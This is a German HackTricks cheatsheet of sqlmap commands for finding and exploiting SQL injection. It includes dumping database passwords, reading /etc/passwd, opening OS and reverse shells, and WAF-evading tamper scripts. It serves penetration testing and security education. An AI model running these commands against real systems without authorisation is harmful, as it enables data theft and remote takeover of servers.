SQLMap - Cheatsheet
Reading time: 10 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Argumente für SQLmap
Allgemein
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Technik-Flags (--technique
)
Die --technique
-Option ermöglicht es Ihnen, die SQL-Injection-Techniken, die sqlmap testen wird, einzuschränken oder neu anzuordnen. Jeder Buchstabe entspricht einer anderen Klasse von Payloads:
Buchstabe | Technik | Beschreibung |
---|---|---|
B | Boolean-basiert blind | Verwendet Wahr/Falsch-Bedingungen in der Seitenantwort, um Ergebnisse abzuleiten |
E | Fehlerbasiert | Nutzt ausführliche DBMS-Fehlermeldungen, um Daten zu extrahieren |
U | UNION-Abfrage | Injiziert UNION SELECT -Anweisungen, um Daten über denselben Kanal abzurufen |
S | Gestapelte Abfragen | Fügt zusätzliche Anweisungen hinzu, die durch einen SQL-Trenner (; ) getrennt sind |
T | Zeitbasiert blind | Vertraut auf SLEEP/WAITFOR -Verzögerungen, um injizierbare Bedingungen zu erkennen |
Q | Inline / out-of-band | Nutzt Funktionen wie LOAD_FILE() oder DNS-Exfiltration, um Daten zu extrahieren |
Die Standardreihenfolge, die sqlmap folgen wird, ist BEUSTQ
(alle Techniken). Sie können sowohl die Reihenfolge als auch die Teilmenge ändern. Zum Beispiel wird der folgende Befehl nur versuchen, UNION-Abfrage- und zeitbasierte blind-Techniken anzuwenden, wobei UNION zuerst versucht wird:
sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch
Informationen abrufen
Intern
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
DB-Daten
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Mit SQLMapping ist es ein praktisches Tool, das Befehle generiert und einen vollständigen Überblick, sowohl grundlegend als auch fortgeschritten, für SQLMap bietet. Es enthält ToolTips, die jeden Aspekt des Tools erklären und jede Option im Detail beschreiben, damit Sie lernen, wie Sie es effizient und effektiv nutzen können.
Injection-Stelle
Aus Burp/ZAP-Erfassung
Erfassen Sie die Anfrage und erstellen Sie eine req.txt-Datei.
sqlmap -r req.txt --current-user
GET-Anforderungsinjektion
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
POST-Anforderungsinjektion
sqlmap -u "http://example.com" --data "username=*&password=*"
Injektionen in Headern und anderen HTTP-Methoden
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Geben Sie eine Zeichenfolge an, wenn die Injektion erfolgreich ist
--string="string_showed_when_TRUE"
Erkennungstechnik hinzufügen
Wenn Sie eine SQLi gefunden haben, aber sqlmap sie nicht erkannt hat, können Sie die Erkennungstechnik mit Argumenten wie --prefix
oder --suffix
erzwingen, oder wenn es komplexer ist, sie zu den Payloads hinzufügen, die von sqlmap in /usr/share/sqlmap/data/xml/payloads/time_blind.xml
verwendet werden, zum Beispiel für zeitblind basierte.
Eval
Sqlmap ermöglicht die Verwendung von -e
oder --eval
, um jede Payload vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Payload auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel wird die flask-Cookie-Sitzung von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Datei lesen
--file-read=/etc/passwd
Crawlen Sie eine Website mit SQLmap und automatischem Exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Zweite Ordnung Injektion
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lies diesen Beitrag über die Durchführung einfacher und komplexer zweiter Injektionen mit sqlmap.
Anpassen der Injektion
Setze ein Suffix
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Präfix
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Hilfe bei der Suche nach boolescher Injektion
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Denke daran, dass du dein eigenes Tamper in Python erstellen kannst und es sehr einfach ist. Du kannst ein Tamper-Beispiel auf der Second Order Injection-Seite hier finden.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Beschreibung |
---|---|
apostrophemask.py | Ersetzt das Apostroph-Zeichen durch sein UTF-8-Vollbreiten-Gegenstück |
apostrophenullencode.py | Ersetzt das Apostroph-Zeichen durch sein illegales doppeltes Unicode-Gegenstück |
appendnullbyte.py | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu |
base64encode.py | Base64-kodiert alle Zeichen in einer gegebenen Payload |
between.py | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #' |
bluecoat.py | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
chardoubleencode.py | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
commalesslimit.py | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M' |
commalessmid.py | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)' |
concat2concatws.py | Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
charunicodeencode.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "%u0022" |
charunicodeescape.py | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "\u0022" |
equaltolike.py | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE' |
escapequotes.py | Schrägstrich-Escape für Anführungszeichen (' und ") |
greatest.py | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück |
halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu |
ifnull2ifisnull.py | Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Umhüllt die gesamte Abfrage mit einem versionierten Kommentar |
modsecurityzeroversioned.py | Umhüllt die gesamte Abfrage mit einem null-versionierten Kommentar |
multiplespaces.py | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu |
nonrecursivereplacement.py | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind (z.B. .replace("SELECT", "")) Filter |
percentage.py | Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu |
overlongutf8.py | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten) |
randomcase.py | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben |
randomcomments.py | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu |
securesphere.py | Fügt eine speziell gestaltete Zeichenfolge hinzu |
sp_password.py | Fügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu |
space2comment.py | Ersetzt das Leerzeichen-Zeichen (' ') durch Kommentare |
space2dash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
space2hash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pfund-Zeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
space2morehash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pfund-Zeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
space2mssqlblank.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
space2mssqlhash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pfund-Zeichen ('#'), gefolgt von einer neuen Zeile ('\n') |
space2mysqlblank.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
space2mysqldash.py | Ersetzt das Leerzeichen-Zeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n') |
space2plus.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein Pluszeichen ('+') |
space2randomblank.py | Ersetzt das Leerzeichen-Zeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen |
symboliclogical.py | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und |
unionalltounion.py | Ersetzt UNION ALL SELECT durch UNION SELECT |
unmagicquotes.py | Ersetzt das Anführungszeichen-Zeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen) |
uppercase.py | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT' |
varnish.py | Fügt einen HTTP-Header 'X-originating-IP' hinzu |
versionedkeywords.py | Umhüllt jedes Nicht-Funktions-Schlüsselwort mit einem versionierten MySQL-Kommentar |
versionedmorekeywords.py | Umhüllt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar |
xforwardedfor.py | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu |
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.